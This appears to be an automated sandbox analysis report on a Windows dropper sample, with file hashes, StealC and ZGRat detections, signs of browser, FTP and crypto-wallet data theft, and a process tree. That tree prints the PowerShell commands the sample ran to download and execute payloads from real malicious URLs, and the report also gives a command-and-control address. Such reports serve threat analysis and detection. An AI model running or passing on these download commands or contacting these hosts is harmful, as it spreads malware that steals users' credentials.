Analysis
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max time kernel
149s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
10-05-2024 08:26
Static task
static1
Behavioral task
behavioral1
Sample
3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe
Resource
win10v2004-20240426-en
Behavioral task
behavioral3
Sample
$PLUGINSDIR/INetC.dll
Resource
win7-20240220-en
Behavioral task
behavioral4
Sample
$PLUGINSDIR/INetC.dll
Resource
win10v2004-20240226-en
General
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Target
3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe
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Size
49KB
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MD5
213c0265511727869c959abd24ea3677
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SHA1
22ea6fe23eeb57d0048d1b0e2a826dd66c6969d9
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SHA256
3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7
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SHA512
bfa4d229ade2e47d91f3fb761e68f727aab86980a2697cb06955324e9b61b384569a285edfaa1d1dd7aea95e24d171a770a4f573a19ec795325c68250720f41e
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SSDEEP
1536:XferrLkSRoe8C4UZsys0Dh1duFpxFI+PlZ:Xfi3k+oWDBDh1duFpkWlZ
Malware Config
Extracted
https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000
Extracted
https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000
Extracted
https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=444&c=1000
Extracted
stealc
http://185.172.128.150
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url_path
/c698e1bc8a2f5e6d.php
Signatures
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Detect ZGRat V1 3 IoCs
resource yara_rule behavioral2/memory/4136-202-0x0000025D32C60000-0x0000025D36494000-memory.dmp family_zgrat_v1 behavioral2/memory/4136-203-0x0000025D51B50000-0x0000025D51C5A000-memory.dmp family_zgrat_v1 behavioral2/memory/4136-207-0x0000025D519C0000-0x0000025D519E4000-memory.dmp family_zgrat_v1 -
Blocklisted process makes network request 5 IoCs
flow pid Process 35 2356 powershell.exe 37 3420 powershell.exe 39 3420 powershell.exe 41 4744 powershell.exe 43 4744 powershell.exe -
Downloads MZ/PE file
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Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation i1.exe Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation u3tc.1.exe -
Executes dropped EXE 3 IoCs
pid Process 4944 i1.exe 628 u3tc.0.exe 2336 u3tc.1.exe -
Loads dropped DLL 3 IoCs
pid Process 4584 3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe 628 u3tc.0.exe 628 u3tc.0.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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pid Process 4744 powershell.exe 2356 powershell.exe 3420 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Program crash 2 IoCs
pid pid_target Process procid_target 544 4944 WerFault.exe 98 1208 628 WerFault.exe 103 -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI u3tc.1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI u3tc.1.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI u3tc.1.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 u3tc.0.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString u3tc.0.exe -
Suspicious behavior: EnumeratesProcesses 34 IoCs
pid Process 2356 powershell.exe 2356 powershell.exe 3420 powershell.exe 3420 powershell.exe 4744 powershell.exe 4744 powershell.exe 628 u3tc.0.exe 628 u3tc.0.exe 4136 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4136 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4136 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4136 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4136 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4136 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4136 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4136 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4136 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4136 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4136 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4136 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4136 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4136 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4136 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4136 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4136 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4136 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4136 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4136 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4136 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4136 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4136 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4136 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4136 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4136 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 2356 powershell.exe Token: SeDebugPrivilege 3420 powershell.exe Token: SeDebugPrivilege 4744 powershell.exe Token: SeDebugPrivilege 4136 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe -
Suspicious use of FindShellTrayWindow 7 IoCs
pid Process 2336 u3tc.1.exe 2336 u3tc.1.exe 2336 u3tc.1.exe 2336 u3tc.1.exe 2336 u3tc.1.exe 2336 u3tc.1.exe 2336 u3tc.1.exe -
Suspicious use of SendNotifyMessage 7 IoCs
pid Process 2336 u3tc.1.exe 2336 u3tc.1.exe 2336 u3tc.1.exe 2336 u3tc.1.exe 2336 u3tc.1.exe 2336 u3tc.1.exe 2336 u3tc.1.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 4584 wrote to memory of 3292 4584 3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe 87 PID 4584 wrote to memory of 3292 4584 3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe 87 PID 4584 wrote to memory of 3292 4584 3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe 87 PID 3292 wrote to memory of 2356 3292 cmd.exe 89 PID 3292 wrote to memory of 2356 3292 cmd.exe 89 PID 3292 wrote to memory of 2356 3292 cmd.exe 89 PID 3292 wrote to memory of 3420 3292 cmd.exe 92 PID 3292 wrote to memory of 3420 3292 cmd.exe 92 PID 3292 wrote to memory of 3420 3292 cmd.exe 92 PID 3292 wrote to memory of 4944 3292 cmd.exe 98 PID 3292 wrote to memory of 4944 3292 cmd.exe 98 PID 3292 wrote to memory of 4944 3292 cmd.exe 98 PID 3292 wrote to memory of 4744 3292 cmd.exe 99 PID 3292 wrote to memory of 4744 3292 cmd.exe 99 PID 3292 wrote to memory of 4744 3292 cmd.exe 99 PID 4944 wrote to memory of 628 4944 i1.exe 103 PID 4944 wrote to memory of 628 4944 i1.exe 103 PID 4944 wrote to memory of 628 4944 i1.exe 103 PID 4944 wrote to memory of 2336 4944 i1.exe 105 PID 4944 wrote to memory of 2336 4944 i1.exe 105 PID 4944 wrote to memory of 2336 4944 i1.exe 105 PID 2336 wrote to memory of 4136 2336 u3tc.1.exe 112 PID 2336 wrote to memory of 4136 2336 u3tc.1.exe 112
Processes
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C:\Users\Admin\AppData\Local\Temp\3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe"C:\Users\Admin\AppData\Local\Temp\3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4584 -
C:\Windows\SysWOW64\cmd.exe"cmd" /c "C:\Users\Admin\AppData\Local\Temp\nsz4660.tmp\est.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:3292 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000','stat')"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2356
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000','i1.exe')"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3420
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C:\Users\Admin\AppData\Local\Temp\i1.exei1.exe /SUB=2838 /str=one3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4944 -
C:\Users\Admin\AppData\Local\Temp\u3tc.0.exe"C:\Users\Admin\AppData\Local\Temp\u3tc.0.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
PID:628 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 628 -s 24045⤵
- Program crash
PID:1208
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C:\Users\Admin\AppData\Local\Temp\u3tc.1.exe"C:\Users\Admin\AppData\Local\Temp\u3tc.1.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2336 -
C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe"C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD15⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4136
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4944 -s 11564⤵
- Program crash
PID:544
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=444&c=1000', 'i2.bat')"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4744
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4944 -ip 49441⤵PID:4520
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 628 -ip 6281⤵PID:724
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
11KB
MD5a33e5b189842c5867f46566bdbf7a095
SHA1e1c06359f6a76da90d19e8fd95e79c832edb3196
SHA2565abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454
SHA512f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b
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Filesize
593KB
MD5c8fd9be83bc728cc04beffafc2907fe9
SHA195ab9f701e0024cedfbd312bcfe4e726744c4f2e
SHA256ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a
SHA512fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040
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Filesize
2.0MB
MD51cc453cdf74f31e4d913ff9c10acdde2
SHA16e85eae544d6e965f15fa5c39700fa7202f3aafe
SHA256ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5
SHA512dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571
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Filesize
1KB
MD54280e36a29fa31c01e4d8b2ba726a0d8
SHA1c485c2c9ce0a99747b18d899b71dfa9a64dabe32
SHA256e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359
SHA512494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4
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Filesize
16KB
MD58ea5744eda998b9b22800447be830aae
SHA16cc3315d1283cfeae08287e56492e722028d8dfe
SHA256c233dba76f23ee01142a8055ab90d6de76efec4cfad2a24a1ba8d193427c7048
SHA51236096c462946f5be4de818ca6b9197541dff168645aa64ca7e0891161c5773f8e82b847392ad2d1afb81fd6f57759e8edc895b5dbaa2871f327e5c36ec59355f
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Filesize
16KB
MD5a49c1846790ffc87183f3bfb4b8d663c
SHA1b73c145eecb0ee7af4d7f854ec15084967f4e73a
SHA256978b533b988203cb328cfa6801dc6839dfdb85ee04a828441c3fddaa87596dd5
SHA512b80c5051b4ce9cf6639468a0b658053c443765873e988e9fe41dbe4aa1dd4f53b8ba0f8ca3d223e32a9aa596805df48f748d51eb1a51d6c8628b65c656c4f750
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
372KB
MD5310310bb16aa8aa907755ccf941932da
SHA1875575b9a129cc000ecd7cf746946c52493be93f
SHA2567ceec2cc762930cc62d97a10cfbe8fb4e14070847fdfac1e6ba3aa7e022f7d78
SHA51257ef834e7df28be011c4e047ce1ac1ec499da4cb3d1793370a9382380b649a1855834009c2144b2418ef5e4ae4c7d3d59781407ced5be28389dbc17a44ca584f
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Filesize
25KB
MD540d7eca32b2f4d29db98715dd45bfac5
SHA1124df3f617f562e46095776454e1c0c7bb791cc7
SHA25685e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9
SHA5125fd4f516ce23fb7e705e150d5c1c93fc7133694ba495fb73101674a528883a013a34ab258083aa7ce6072973b067a605158316a4c9159c1b4d765761f91c513d
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Filesize
735B
MD5f32d05160acf8325e9a09f09f80d16f4
SHA146e159b71e6ef99076c4002e1fda134e1d0a86c9
SHA256da8f4f45b105538f0063ece220b69455b15c8e680099c02221c093ecb794ae37
SHA512147c870edd09fa3f6cd93caae809b5d66fecc759e3cfee4e47dc487786edc760989fdb23310b4284e63871fe1b1d805e949601f54bfc93ff80e2e097a989879b
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Filesize
230KB
MD5adaa7779ccd1879d9466706724ca2974
SHA1af546b538b5362ee19131e8d30b633c817417d15
SHA2567109bdc186a84c29affbe2882b747b8c32587ce4e8d4b39e770faa06d94431d8
SHA51296fa1c074b4f268393f17b400711898178ce8479272d5b6ca1405568dbe63cc618b46bfb5b80a8b97a7a796f6d4b60c3727beb2b2a13d7e749b3746b736bff87
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Filesize
4.6MB
MD5397926927bca55be4a77839b1c44de6e
SHA1e10f3434ef3021c399dbba047832f02b3c898dbd
SHA2564f07e1095cc915b2d46eb149d1c3be14f3f4b4bd2742517265947fd23bdca5a7
SHA512cf54136b977fc8af7e8746d78676d0d464362a8cfa2213e392487003b5034562ee802e6911760b98a847bddd36ad664f32d849af84d7e208d4648bd97a2fa954